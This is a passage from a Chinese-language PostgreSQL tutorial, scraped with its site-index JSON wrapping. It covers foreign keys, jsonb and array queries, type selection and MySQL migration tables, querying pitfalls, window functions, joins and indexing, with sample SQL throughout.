channel   -- ->> 取 jsonb 里的文本值\nFROM products; title   | price  | tags         | channel\n----------+--------+--------------+---------\n 机械键盘 | 399.00 | {数码,外设} | app",{"id":133098,"title":38283,"titles":133099,"content":133100,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步把四张表连起来外键与约束",[36576,37893],"订单和明细是一对多，REFERENCES 就是外键，ON DELETE CASCADE 表示「父行删了，子行跟着删」： CREATE TABLE orders (\n  id       bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  user_id  bigint NOT NULL REFERENCES users(id),          -- 外键指向 users.id\n  order_no text NOT NULL,                                 -- 订单号，第八章用它讲索引\n  status   text NOT NULL DEFAULT 'created',\n  amount   numeric(12, 2) NOT NULL DEFAULT 0,             -- 订单金额\n  paid_at  timestamptz,                                   -- 支付时间，未支付为 NULL\n  meta     jsonb,\n  tags     text[],\n  created_at  timestamptz NOT NULL DEFAULT now()\n);\n\nCREATE TABLE order_items (\n  id         bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  order_id   bigint NOT NULL REFERENCES orders(id) ON DELETE CASCADE,\n  product_id bigint NOT NULL REFERENCES products(id),\n  price      numeric(12, 2) NOT NULL CHECK (price >= 0),\n  qty        integer NOT NULL CHECK (qty > 0),\n  total      numeric(12, 2) GENERATED ALWAYS AS (price * qty) STORED   -- 生成列\n); total 是 PG 12 起的生成列：由同表其他列算出、物理存储，查的时候不用每次重算 price * qty。 外键的删除动作按业务逐个选，别无脑 CASCADE： 动作 父行被删时 适合 ON DELETE CASCADE 子行连带删除 强从属：订单没了，明细必须没了 ON DELETE SET NULL 子行外键置 NULL 弱关联：商品删了，收藏记录留着但指向空 ON DELETE RESTRICT 有子行就拒绝删除，报错 任何强引用 约束是应用层校验之外的最后防线：ORM 的校验能被绕过，CHECK 不会。四张表建完，\\dt 能看到它们，\\d orders 能看单表结构。最后造一条订单，给下一节的 jsonb \u002F 数组查询当数据： INSERT INTO orders (user_id, status, meta, tags)\nVALUES (1, 'created', '{\"channel\": \"app\", \"tags\": [\"vip\"]}', ARRAY['vip']);",{"id":133102,"title":38498,"titles":133103,"content":133104,"level":357},"\u002Ftutorials\u002Fpostgresql#第四步jsonb-取值与数组查询的三个写法",[36576,37893],"入门只需要三个操作符，先记住形状： -- 1) ->> 取文本（最常用，Java 侧拿到的就是 String）\nSELECT meta ->> 'channel' AS channel FROM orders;\n\n-- 2) @> 包含查询：meta 里含这个键值对的就命中\nSELECT id FROM orders WHERE meta @> '{\"channel\": \"app\"}';\n\n-- 3) && 数组交集：tags 里含有 'vip' 的就命中\nSELECT id FROM orders WHERE tags && ARRAY['vip']; -> 和 ->> 的区别只在于返回 jsonb 还是 text；其余操作符（#>>、?、jsonb_set()、jsonb_array_elements()）见本章末尾的速查表。",{"id":133106,"title":4796,"titles":133107,"content":133108,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-2",[36576,37893],"表能跑起来之后，再回头看这 8 条——它们都是上面那些「看起来没问题」的写法在真实项目里会长出来的刺。 1. serial 不是类型，是宏，新表一律换 identity。 它会建一个序列并把默认值设成 nextval()，三宗罪迟早撞上：不是 SQL 标准，迁移工具对不上；权限要单独授，把表授给应用账号后 INSERT 仍会报 permission denied for sequence users_id_seq，得再 GRANT USAGE ON SEQUENCE 一次（第十一章模板里已包含）；序列和表归属松散，删来删去留孤儿。 serial 宏 GENERATED ... AS IDENTITY 标准 PG 方言 SQL 标准 序列权限 表授权之外要单独 GRANT USAGE ON SEQUENCE 授权器自动处理，不踩坑 手工插 id 默认就允许（副作用源头之一） ALWAYS 拒绝 \u002F BY DEFAULT 允许，白纸黑字 删表后序列 可能残留孤儿序列 随表删除 2. ALWAYS 意味着你手工插 id 会被拒。 这是上面那条 DDL 的副作用，报错长这样： shop=# INSERT INTO users (id, name) VALUES (99, 'Bob');\nERROR:  cannot insert a non-DEFAULT value into column \"id\"\nDETAIL:  Column \"id\" is an identity column defined as GENERATED ALWAYS.\nHINT:  Use OVERRIDING SYSTEM VALUE to override. 迁移历史数据时加 OVERRIDING SYSTEM VALUE；想平时也允许手工指定，建表时就用 BY DEFAULT。 3. 时间列写成 timestamp，换时区就漂。 timestamptz 存的是绝对时刻（内部按 UTC 记账），显示随会话时区变；timestamp 存的只是「墙上读数」。实验两分钟胜过背十遍： CREATE TABLE clock_t (ts timestamptz);\nSET TIME ZONE 'Asia\u002FShanghai';\nINSERT INTO clock_t VALUES ('2026-10-10 09:30:00');\nSELECT ts FROM clock_t;          -- 2026-10-10 09:30:00+08\nSET TIME ZONE 'UTC';\nSELECT ts FROM clock_t;          -- 2026-10-10 01:30:00+00 同一个绝对时刻，两个会话两个读数，都对。如果列建成 timestamp，这个值就只是一串「9 点半」，谁也不知道是哪个时区的 9 点半。所以：时间列一律 timestamptz，字面量尽量带偏移（'2026-10-10 09:30:00+08'），应用连接串里写明 TimeZone=Asia\u002FShanghai。 4. 金额用 float8，对账时对不平。 浮点存的不是十进制字面值： SELECT 0.1::float8 + 0.2::float8;   -- 0.30000000000000004 金额一律 numeric(p, s)，它按十进制精确存。 5. char(n) 会补空格，= 比较会骗人。 char(10) 存 'abc' 读出来是 'abc       '；varchar(n) 的 n 也不带来任何性能差异，只是长度约束。要约束长度，用 text + CHECK (char_length(x) \u003C= n) 更明白。 6. PG 不给外键自动建索引——MySQL 老手最容易栽的一条。 InnoDB 建外键时会自动在子表列上建索引，PG 什么都不做。于是删父表一行时，PG 要顺序扫整个子表检查有没有引用，行数一大就是秒级起步的锁等待（第九章的排队事故里有它的戏份）。解法很朴素： CREATE INDEX idx_order_items_order_id ON order_items (order_id); 建完之后 \\d order_items，索引区和约束区各看到一条——「外键约束」和「外键列索引」是两码事，谁也不替谁负责。 7. bigint 传到前端会被改掉末几位。 Java 侧 Long 是 64 位，JS 的 Number 只有 53 位安全整数，雪花 ID 序列化过去末几位悄悄变了。所以 ID 出参统一转字符串（Jackson 的 ToStringSerializer，或全局配 Long → String），前端全程按 string 传。RuoYi 这类用雪花算法生成主键的框架，实体里是 Long userId，建表就必须是 bigint。 8. json 和 jsonb 别选错，uuid 主键别乱用。 json 只是原样存文本，每次读都要重新解析、不能建索引；jsonb 是解析后的二进制，能建 GIN 索引能查询——99% 的场景选 jsonb。另外 uuid 做主键虽然方便（PG 13 起 gen_random_uuid() 内置，不用装 pgcrypto），但随机值会让 B-tree 索引写入分散、页分裂变多，大表主键仍推荐 bigint（第八章有账可算）。",{"id":133110,"title":37931,"titles":133111,"content":133112,"level":357},"\u002Ftutorials\u002Fpostgresql#附类型速查表",[36576,37893],"写 DDL 时查这几张表。先说一个命名陷阱：int8 里的 8 不是 8 位，是 8 字节（byte）。PG 的 int2 \u002F int4 \u002F int8、float4 \u002F float8 前缀数字一律指字节数，跟 MySQL 的 int(11)（那是显示宽度，和取值范围毫无关系）是两套语义。所以 int8、bigint 是同一个东西的两种写法：64 位长整型，对应 Java 实体里的 Long。 数值类型： PG 别名 SQL 标准名 字节 位 取值范围 Java 类型 生产推荐 int2 smallint 2 16 −32768 ~ 32767（约 ±3 万） Short 状态码、字典序号这类小整数；别拿来存 ID int4 \u002F integer \u002F int integer 4 32 约 ±21 亿 Integer 数量、库存、分页 size；日活过千万的表主键别赌它 int8 \u002F bigint bigint 8 64 约 ±9.2 × 10¹⁸ Long 主键、外键、雪花 ID 一律用它，多占 4 字节换一辈子的安心 numeric(p, s) \u002F decimal numeric 变长（约 2 字节存 4 位数字 + 头部） — 任意精度，p 上限 1000 位 BigDecimal 金额唯一正确答案，numeric(12, 2) 起步；p 只限数字位数，不占额外空间 float4 \u002F real real 4 32 单精度，6 ~ 7 位有效数字 Float 只在打分、统计这类容忍误差的场景用 float8 \u002F double precision double precision 8 64 双精度，15 ~ 17 位有效数字 Double 经纬度、相关度分值；存钱会翻车（本章坑 4） smallserial \u002F serial \u002F bigserial — 2 \u002F 4 \u002F 8 — 同 int2 \u002F int4 \u002F int8，各自背后挂一个序列 Short \u002F Integer \u002F Long 只是「序列 + 默认值」的宏，新表换 identity（本章坑 1） oid — 4 32 0 ~ 4294967295 Long（JDBC 返回） 系统内部对象号，业务键别用它 money — 8 64 随 lc_monetary locale 变化 BigDecimal 不用，跨 locale 会算错，numeric 完胜 字符串、布尔与二进制： PG 类型 长度 Java 类型 生产推荐 boolean \u002F bool 1 字节 Boolean 真正的布尔，字面量 true \u002F false，也认 't' \u002F 'f'、'1' \u002F '0'；MyBatis 直接映射 Boolean，不用再学 MySQL 的 tinyint(1) 习惯 varchar(n) 变长，n ≤ 10485760 个字符 String 需要长度约束时用；n 不影响性能，也不会预分配空间 text 变长，上限 1 GB String 默认选择：短用户名和长正文都用它，和 varchar 底层同一种实现，没有任何性能差 char(n)（内部名 bpchar） 定长 n，不足补空格 String 避免：读出来带尾部空格，= 比较会因此骗人 bytea 变长，上限 1 GB byte[] 小二进制块（签名、缩略图）可以；大文件走对象存储，别塞进库里拖垮备份 uuid 16 字节 String \u002F java.util.UUID 全局 ID，配 gen_random_uuid()；做主键要注意 B-tree 索引写入分散（第八章） citext 变长（扩展类型） String 大小写不敏感列；更常见的做法还是 text + 表达式索引 lower(email) enum（自定义类型） 4 字节 String \u002F Java 枚举 取值固定且要省空间时用；改取值要 ALTER TYPE，多数团队直接用 text + CHECK 时间、日期与其他： PG 类型 长度 \u002F 精度 Java 类型 生产推荐 timestamptz（timestamp with time zone） 8 字节，微秒 OffsetDateTime（老驱动常落到 java.util.Date） 时间列默认写它，内部按 UTC 记账，显示随会话时区 timestamp（without time zone） 8 字节，微秒 LocalDateTime 只在「墙上时间」本身即业务语义时用（营业到 21:00 这类），不带时区 date 4 字节，天 LocalDate 生日、账期、统计日 time 8 字节 LocalTime 时段端点 interval 16 字节，微秒 Duration \u002F Period 时长、超时阈值；能写 '3 days'、'2 hours 30 mins' jsonb 变长，上限 1 GB String + TypeHandler \u002F Map 半结构化首选，解析后存储、能建 GIN 索引（本章速查表末 + 第八章） text[] \u002F int[] 数组 变长 List\u003CString> \u002F TypeHandler 多值标签；驱动层要 PGobject 或自定义 TypeHandler 接 inet 4 或 16 字节 + 掩码 String 存 IP（含 IPv6），比 varchar(45) 强在能索引和网段运算 tsvector 变长 — 全文检索列，第十三章的主角，不映射 Java jsonb 操作符全表（meta = {\"channel\":\"app\",\"tags\":[\"vip\",\"new\"]}）： 操作符 输入 → 输出 例子 -> 键 → jsonb meta->'tags' → [\"vip\",\"new\"] ->> 键 → text meta->>'channel' → app（最常用） #>> 路径 → text meta #>> '{tags,0}' → vip @> 包含判断（能走 GIN 索引） meta @> '{\"channel\":\"app\"}' → true ? 顶层键存在 meta ? 'tags' → true jsonb_set() 改值 jsonb_set(meta, '{vip}', '\"gold\"'::jsonb) jsonb_array_elements() 数组炸开成行 SELECT jsonb_array_elements(meta->'tags') 实战里最值钱的是 @> 包含查询配合 GIN 索引（第八章会讲两种索引 opclass 的取舍）： SELECT id, meta->>'channel' AS channel\nFROM orders\nWHERE meta @> '{\"tags\": [\"vip\"]}'; 数组类型的日常是交集查询：WHERE tags && ARRAY['vip'] 表示「标签里含 vip」，配 GIN 索引同样走索引。 MySQL → PG 类型迁移对照： 从 MySQL 迁表时别一一对着名字猜，尤其注意 PG 没有 unsigned、没有 1 字节整型、datetime 不带时区这三件事： MySQL 类型 PG 对应 长度变化 Java 类型 迁移要点 tinyint(1) boolean 1 → 1 字节 Boolean 0\u002F1 转 false \u002F true；tinyint(2) 以上不是布尔，按 smallint 迁 tinyint smallint（int2） 1 → 2 字节 Short PG 没有 1 字节整型，只能升一档 smallint smallint 相同 Short MySQL 的 unsigned smallint 上限 65535 超了 int2，升 int4 mediumint integer（int4） 3 → 4 字节 Integer PG 没有 3 字节整型 int \u002F integer integer 相同 Integer int unsigned（上限约 42.9 亿）装不进 int4，必须升 bigint bigint bigint（int8） 相同 8 字节 Long 雪花 ID 直接对得上；bigint unsigned 超出 64 位有符号，改用 numeric int(11) \u002F int(10) unsigned integer — Integer 括号里的数字是显示宽度，PG 没有这个概念，直接丢掉 decimal(p, s) \u002F numeric numeric(p, s) 变长 BigDecimal 语义一致，p \u002F s 原样搬 float \u002F double real \u002F double precision 相同 Float \u002F Double 名字变了，精度没变 char(n) char(n)（bpchar） 相同 String 两边都补空格，行为一致；仍然建议换 text varchar(n) varchar(n) 或 text n 单位是字符 String 两边的 n 都按字符算，迁过去不会截断；差别在 MySQL 单行有 65535 字节上限，utf8mb4 下几个大 varchar 就会撞墙，PG 没有这条约束 text \u002F tinytext \u002F mediumtext \u002F longtext text 统一变长，上限 1 GB String PG 一个 text 通吃，MySQL 那四档长度差异全部消失 enum('a','b') text + CHECK 或自定义 enum 类型 — String 推荐 CHECK：加一个取值只是改约束，不用动类型 set('a','b') text[] 数组 — List\u003CString> 数组能整体建 GIN 索引，比 FIND_IN_SET 干净 json jsonb 变长 String \u002F Map 99% 的情况选 jsonb；只有要求「原样保留文本和键序」才用 json datetime timestamptz 5~8 字节 → 8 字节 OffsetDateTime MySQL 的 datetime 不带时区，迁移动作里必须显式说明原数据是哪个时区，否则整体漂 8 小时 timestamp（MySQL） timestamptz 4 → 8 字节 OffsetDateTime MySQL 的 timestamp 存 UTC、按会话时区显示，语义正好对应 PG 的 timestamptz date \u002F time \u002F year date \u002F time \u002F int2 — LocalDate \u002F LocalTime \u002F Integer PG 没有 year 类型 binary \u002F varbinary(n) \u002F blob 家族 bytea 变长 byte[] 大 BLOB 建议趁机搬去对象存储 binary(16)（存 UUID） uuid 16 → 16 字节 UUID 换成原生类型，能直接用 gen_random_uuid() bit(1) boolean — Boolean — AUTO_INCREMENT GENERATED ... AS IDENTITY — — 见本章坑 1；导数据时要 setval() 把序列推到当前最大 id 之后 ON UPDATE CURRENT_TIMESTAMP 触发器或应用侧赋值 — — PG 没有这个语法，别指望迁移工具带过来",{"id":133114,"title":40491,"titles":133115,"content":133116,"level":341},"\u002Ftutorials\u002Fpostgresql#五单表查询where排序分页与几件-pg-独门兵器",[36576],"单表查询是日常 80% 的 SQL。本章先给最常用的形状（第一步到第三步），把最容易出错的几件事——NULL 比较、NULL 排序、深分页、count 的两种数法——集中放到章末的坑区。",{"id":133118,"title":40501,"titles":133119,"content":133120,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步五个关键词一条语句",[36576,40491],"SELECT status, count(*) AS cnt\nFROM orders\nWHERE created_at >= '2026-10-01'\nGROUP BY status\nORDER BY cnt DESC\nLIMIT 10; WHERE 过滤行、GROUP BY 分组、HAVING 过滤组、ORDER BY 排序、LIMIT 取前 N 条——五个关键词按这个顺序写，执行顺序是 WHERE → GROUP BY → HAVING → ORDER BY → LIMIT。判断空值用 IS NULL \u002F IS NOT NULL，不要用 = NULL（原因见坑 1）。",{"id":133122,"title":40572,"titles":133123,"content":133124,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步分页的两种写法",[36576,40491],"-- 写法一：按页码跳页\nSELECT id FROM orders ORDER BY id LIMIT 20 OFFSET 100;\n\n-- 写法二：键集分页（keyset \u002F seek），上一页最后一条 id 作为起点\nSELECT id FROM orders WHERE id > 500000 ORDER BY id LIMIT 20; 第一种能「跳转到第 N 页」，是给用户翻页用的；第二种代价恒定，适合信息流式的「下一页」。为什么深页要换写法，本章坑 3 有实测数字。",{"id":133126,"title":40608,"titles":133127,"content":133128,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步三件-pg-顺手兵器",[36576,40491],"每组第一条（「每个用户最近的一笔订单」），MySQL 得上窗口函数，PG 一句话： SELECT DISTINCT ON (user_id) user_id, id, created_at\nFROM orders\nORDER BY user_id, created_at DESC; 条件聚合，比 CASE WHEN 干净： SELECT user_id,\n       count(*)                                     AS total_cnt,\n       count(*) FILTER (WHERE status = 'paid')      AS paid_cnt,\n       sum(amount) FILTER (WHERE status = 'paid')   AS paid_amt\nFROM orders\nGROUP BY user_id\nHAVING count(*) FILTER (WHERE status = 'paid') >= 3; 改完顺手把结果带回来（RETURNING），以及幂等写入（ON CONFLICT）： UPDATE orders SET status = 'paid', paid_at = now()\nWHERE id = 42\nRETURNING id, status, paid_at;\n\nINSERT INTO stats (user_id, day, pv) VALUES (42, '2026-10-10', 1)\nON CONFLICT (user_id, day)\nDO UPDATE SET pv = stats.pv + 1\nRETURNING pv; DO UPDATE 换成 DO NOTHING 就是「有就跳过」。统计累加这类需求，一条 ON CONFLICT ... DO UPDATE 抵掉应用层整套「先查后插」的代码。",{"id":133130,"title":4796,"titles":133131,"content":133132,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-3",[36576,40491],"1. = NULL 永远选不出东西。 SQL 里 NULL 不是值，是「未知」，任何比较碰上它结果都是「未知」（不成立）： SELECT count(*) FROM users WHERE memo = NULL;   -- 0，一个都选不出来\nSELECT count(*) FROM users WHERE memo IS NULL;  -- 417，正确写法 由此派生两件常用兵器：IS DISTINCT FROM 把 NULL 当成一个具体值来比较（a IS DISTINCT FROM b 两侧都是 NULL 时为 false，正好补上 \u003C> 的洞）；coalesce(x, 0) 给 NULL 兜底。除零保护留到第六章和 nullif 一起讲。 2. 排序时 NULL 的位置和你想的相反。 PG 的默认规则是：升序时 NULL 沉底，降序时 NULL 置顶。于是「按支付时间倒序取最近 5 单」，第一行居然是个没支付的空时间： SELECT id, paid_at FROM orders ORDER BY paid_at DESC LIMIT 5;         -- 第一行 paid_at 是空的\nSELECT id, paid_at FROM orders ORDER BY paid_at DESC NULLS LAST LIMIT 5;  -- 老老实实沉底 3. OFFSET 是给用户翻页用的，不是给深页用的。 SELECT id FROM orders ORDER BY id LIMIT 20 OFFSET 500000;  -- 要先算过前 50 万行再扔掉 它是 O(offset)：翻到越深的页越慢，第 25000 页就是全表扫的价钱。换成第二步的键集分页，前提是排序列有索引且唯一，代价恒定；代价是不支持「跳转到第 N 页」。示例 05 里 \\timing on 的两个数字对比，一眼就能看到量级差异。 4. DISTINCT ON 只取一条，且 ORDER BY 最左边必须同列。 规则说人话：DISTINCT ON (列) 指定「每组」，ORDER BY 的最左边必须是同样的列，然后每组按剩余排序条件取第一条。要每组前三条就得回窗口函数（第六章）。它是 PG 对 SQL 标准的扩展，别的库没有。 5. count(*) 和 count(列) 数的不是一回事。 前者数所有行，后者只数该列非 NULL 的行——「转化率」类指标两个 count 相除时务必想清楚用哪个。同理，FILTER 虽然是 PG 扩展语法（等价于 count(CASE WHEN status='paid' THEN 1 END)，但少敲一半字符），换库时要记得它不通用。 6. HAVING 和 WHERE 的先后位置别放反。 WHERE 过滤聚合前的行，HAVING 过滤聚合后的组。把聚合条件写进 WHERE 会直接报 aggregate functions are not allowed in WHERE。 7. ON CONFLICT 的推断列必须有唯一约束。 ON CONFLICT (user_id, day) 成立的前提是 (user_id, day) 上真有唯一索引，否则报 there is no unique or exclusion constraint matching the ON CONFLICT specification。 8. 「先查后插」在并发下会丢更新。 应用层写「查一下有没有，没有就插」，两个线程同时查到「没有」就出事了。ON CONFLICT ... DO UPDATE 把这件事交给数据库原子完成；同一类问题在事务层面还有第三种解法，第九章细算这笔账。",{"id":133134,"title":40943,"titles":133135,"content":40946,"level":341},"\u002Ftutorials\u002Fpostgresql#六常用函数字符串时间jsonb-与窗口",[36576],{"id":133137,"title":40950,"titles":133138,"content":133139,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步字符串拼接兜底切分",[36576,40943],"SELECT concat('a', NULL);                  -- 'a'，concat 把 NULL 当空串\nSELECT coalesce(memo, name, '（没填）');     -- 从左到右取第一个非 NULL\nSELECT split_part(email, '@', 2);           -- 取域名\nSELECT format('%s-%s', 'order', id);        -- 拼展示文案，%s 自动转文本\nSELECT substring(email FROM 1 FOR 3);       -- 取子串（FROM 起点 FOR 长度）\nSELECT btrim(name, ' ');                    -- 去掉两侧空格，导入脏数据常用 批量拼文案优先用 concat \u002F format，别用 ||——|| 遇到 NULL 会把整个结果传染成 NULL（详见坑 1）。",{"id":133141,"title":41004,"titles":133142,"content":133143,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步时间截断加减取部位",[36576,40943],"SELECT date_trunc('month', created_at) AS mon, count(*)\nFROM orders\nGROUP BY mon;                              -- 月报分组键\n\nSELECT created_at + interval '30 days' AS deadline,   -- 加减\n       extract(epoch FROM created_at)    AS unix_sec,  -- 转 Unix 秒\n       age(now(), created_at)            AS how_long   -- 两个时刻差，输出「1 year 2 mons」这种人话\nFROM orders; 更多写法（to_char 格式化、AT TIME ZONE 换时区、now() 三兄弟的区别）见章末速查表。",{"id":133145,"title":41066,"titles":133146,"content":133147,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步从-jsonb-里掏数据",[36576,40943],"SELECT meta->>'channel' AS channel, count(*)   -- ->> 取文本\nFROM orders\nGROUP BY channel; 要展开数组逐行处理（比如统计订单里每个标签的出现次数）： SELECT tag, count(*)\nFROM orders,\n     jsonb_array_elements(meta->'tags') AS tag\nGROUP BY tag; FROM 表, jsonb_array_elements(...) AS 别名 这个写法等价于 LATERAL（第七章），把每个 jsonb 数组元素炸成一行。",{"id":133149,"title":41127,"titles":133150,"content":133151,"level":357},"\u002Ftutorials\u002Fpostgresql#第四步窗口函数不动行数地看邻居",[36576,40943],"GROUP BY 会把 N 行折叠成 1 行，窗口函数是每一行都保留、额外加一列聚合视野。两个最高频场景： -- 每个用户最近 3 单（DISTINCT ON 只能取第一条，这里要前三条）\nSELECT * FROM (\n  SELECT o.*,\n         row_number() OVER (PARTITION BY user_id ORDER BY created_at DESC) AS rn\n  FROM orders o\n) t\nWHERE rn \u003C= 3;\n\n-- 环比：拿上一行的值；累计：组起点到当前行\nSELECT user_id, created_at, amount,\n       lag(amount, 1) OVER (PARTITION BY user_id ORDER BY created_at) AS prev_amt,\n       sum(amount) OVER (PARTITION BY user_id ORDER BY created_at\n                         ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW) AS running_amt\nFROM orders; ROWS BETWEEN ... 子句叫窗口帧，不写默认是「组起点到当前行」，累计值正是靠它。row_number() \u002F rank() \u002F dense_rank() 三个序号函数的区别见章末速查表。",{"id":133153,"title":4796,"titles":133154,"content":133155,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-4",[36576,40943],"1. || 遇到 NULL，整个结果变 NULL。 「无中生有」是 SQL 的规矩： SELECT 'a' || NULL;            -- NULL\nSELECT concat('a', NULL);      -- 'a'，concat 把 NULL 当空串 批量拼展示文案时，要么先 coalesce，要么直接用 concat \u002F format。 2. 除法不保护就是报错。 nullif(a, b) 在 a=b 时返回 NULL，否则返回 a，它最大的用场是除零保护——第四章埋的账在这里还： SELECT 100 \u002F 0;                          -- ERROR: division by zero\nSELECT 100 \u002F nullif(qty, 0);             -- qty 为 0 时得到 NULL，语句不炸\nSELECT coalesce(100 \u002F nullif(qty, 0), 0);-- 再兜个底，空值按 0 算 3. 三个长度函数对中文的结果不一样。 length('中文') 是 2（字符），octet_length('中文') 是 6（UTF-8 字节）——限长、算存储时想清楚自己要的是哪个。 4. 窗口函数不能出现在 WHERE 里。 必须包一层子查询再过滤，直接写 WHERE rn = 1 会收到 ERROR: window functions are not allowed in WHERE——PG 没有 DuckDB\u002FSnowflake 那种 QUALIFY 短路，子查询包装就是标准答案。 5. now() 不等于「此刻」。 函数三兄弟：now() = transaction_timestamp()（事务内恒定）、statement_timestamp()（每条语句刷新）、clock_timestamp()（真实钟，同一行里两次调用都不同）。做「同一事务内 created 和 updated 相同」要 now()，做监控计时才用 clock_timestamp()。 6. jsonb_set() 的第三个参数必须是 jsonb 字面量。 jsonb_set(meta, '{vip}', '\"gold\"'::jsonb) 里的引号不是装饰——少写 ::jsonb 或写成裸字符串，会得到一个带多余引号的值或直接报类型错。 7. 包含查询 @> 不建索引就是全表扫。 第四章提过，jsonb 的 @> 要走 GIN 索引才划算（第八章讲两种 opclass 的取舍），否则每次包含查询都是顺序扫整列 jsonb。",{"id":133157,"title":41389,"titles":133158,"content":133159,"level":357},"\u002Ftutorials\u002Fpostgresql#附时间与序号函数速查",[36576,40943],"需求 写法 结果（以 2026-10-10 09:30:15+08 为例） 按月截断 date_trunc('month', ts) 2026-10-01 00:00:00+08——月报、周报的分组键 加减 ts + interval '30 days'、ts - interval '2 hours' interval 直接参与运算 取部位 extract(epoch FROM ts) Unix 秒，跟前端\u002F缓存对时间的通用语言 两个时刻差 age(ts2, ts1) 1 year 2 mons 3 days 这种人话 格式化 to_char(ts, 'YYYY-MM-DD HH24:MI') 输出展示用；入参用 to_timestamp(s, 'YYYY-MM-DD') 换时区 ts AT TIME ZONE 'UTC' timestamptz 与 timestamp 互转 序号函数 并列时 结果 row_number() 仍递增 1, 2, 3, 4——「严格名次 + 去重取一」 rank() 并列同名次，跳号 1, 2, 2, 4 dense_rank() 并列同名次，不跳号 1, 2, 2, 3",{"id":133161,"title":41551,"titles":133162,"content":133163,"level":341},"\u002Ftutorials\u002Fpostgresql#七多表关系join-家族exists-与外键的连锁行为",[36576],"模型定型：users 1:N orders 1:N order_items N:1 products；商品与标签多对多走中间表 product_tags。",{"id":133165,"title":41572,"titles":133166,"content":133167,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步join-家族",[36576,41551],"写法 语义 记忆点 INNER JOIN（默认 JOIN） 只留两边都能配上对的 配不上对的行整体消失 LEFT [OUTER] JOIN 左表全保留，右边配不上补 NULL 「主表 + 带不带都行」 RIGHT \u002F FULL JOIN 对称地保留右表 \u002F 两边都保留 FULL 在补数据、对账场景常见 CROSS JOIN 笛卡尔积 几乎只出现在生成日历、排列组合的场景 最常用的就是前两种，一条语句记住形状： SELECT u.name, count(o.id) AS order_cnt\nFROM users u\nLEFT JOIN orders o ON o.user_id = u.id\nGROUP BY u.name;",{"id":133169,"title":41673,"titles":133170,"content":133171,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步exists-与-lateral",[36576,41551],"「买了东西的用户」两种写法，优化器基本会改写成同一个计划，选哪个看可读性： SELECT name FROM users u WHERE EXISTS (\n  SELECT 1 FROM orders o WHERE o.user_id = u.id\n); 「每组取 N 条」还有个比窗口函数更直接的 LATERAL：右边的子查询可以引用左边表的列，每行参数化执行一次： SELECT u.name, o.id, o.amount\nFROM users u\nLEFT JOIN LATERAL (\n  SELECT * FROM orders o\n  WHERE o.user_id = u.id\n  ORDER BY created_at DESC LIMIT 3\n) o ON true;",{"id":133173,"title":41744,"titles":133174,"content":133175,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步外键动作的现场",[36576,41551],"第四章给过 CASCADE \u002F SET NULL \u002F RESTRICT 的选型表，这里看现场。给 orders.user_id 配 ON DELETE CASCADE： shop=# DELETE FROM users WHERE id = 7;\nDELETE 1\nshop=# SELECT count(*) FROM orders WHERE user_id = 7;\n count\n-------\n     0\n(1 row)      -- 订单整整齐齐跟着没了，删库跑门槛都没有 如果当初配的是 SET NULL，同一组操作后 orders 里 user_id=7 的行还在、外键变成 NULL——「关联断了但数据还在」。两个动作都对，取决于业务上订单是「用户的附属品」还是「独立凭证」。",{"id":133177,"title":4796,"titles":133178,"content":133179,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-5",[36576,41551],"1. LEFT JOIN 的过滤条件放错地方，语义直接退化。 两个查询只差一个从句： -- 正确：条件写在 ON 里，LEFT 语义完整保留——所有用户都出现，paid 单才有值\nSELECT u.name, o.id\nFROM users u\nLEFT JOIN orders o ON o.user_id = u.id AND o.status = 'paid';\n\n-- 翻车：条件写在 WHERE 里——join 完补出来的 NULL 行被过滤掉，实际退化成 INNER JOIN\nSELECT u.name, o.id\nFROM users u\nLEFT JOIN orders o ON o.user_id = u.id\nWHERE o.status = 'paid'; 规则一句话：对右表（被 JOIN 表）的过滤放 ON，对左表主数据的过滤放 WHERE。示例 07 里有这两个查询并排的输出对比。 2. NOT IN 遇上子查询里的 NULL 会全军覆没。 -- product_tags.product_id 里只要有一行 NULL，这条永远返回 0 行\nSELECT name FROM products\nWHERE id NOT IN (SELECT product_id FROM product_tags);\n\n-- NOT EXISTS 不受影响，语义正确\nSELECT name FROM products p\nWHERE NOT EXISTS (SELECT 1 FROM product_tags t WHERE t.product_id = p.id); 原因是 NOT IN 展开成「与所有元素都不等」，而任何值与 NULL 比较都是「未知」，整个条件永远不成立。否定语义一律写 NOT EXISTS，这条规则能免掉一类极难排查的线上问题（数据一变 NULL，查询悄悄变空）。 3. PG 不给外键自动建索引，删除时会现场爆发。 第四章埋的雷在这里显形：EXPLAIN ANALYZE DELETE FROM users WHERE id = 7 的输出里有一行 Trigger for constraint orders_user_id_fkey: time=143.2 ms——父表按主键索引秒删，但 PG 检查引用约束时要顺序扫一遍 orders 全表。给 orders(user_id) 建上索引再删，同一个 DELETE 的触发器耗时掉到 0.1ms 量级。建外键的下一行就建索引，让这两行在迁移脚本里永远是邻居。 4. LATERAL 子查询后面必须跟 ON 条件，没有条件就写 ON true，直接省掉会报语法错误。它比窗口函数直观，但每行都要执行一次子查询，驱动集很大时先看执行计划（第八章）。",{"id":133181,"title":41942,"titles":133182,"content":41945,"level":341},"\u002Ftutorials\u002Fpostgresql#八索引b-tree-走得快也要养得起",[36576],{"id":133184,"title":41949,"titles":133185,"content":133186,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步建一个索引确认它生效",[36576,41942],"CREATE INDEX idx_orders_order_no ON orders (order_no);\n\nEXPLAIN (ANALYZE, BUFFERS) SELECT * FROM orders WHERE order_no = 'SO-2026-000123'; 计划里出现 Index Scan using idx_orders_order_no 就说明走上了；还是 Seq Scan 就是没走上（列上有隐式转换、条件写成函数包裹、或者命中行太多优化器主动放弃）。EXPLAIN 必须加 ANALYZE 才会真的执行并给出 actual 数字，详见坑 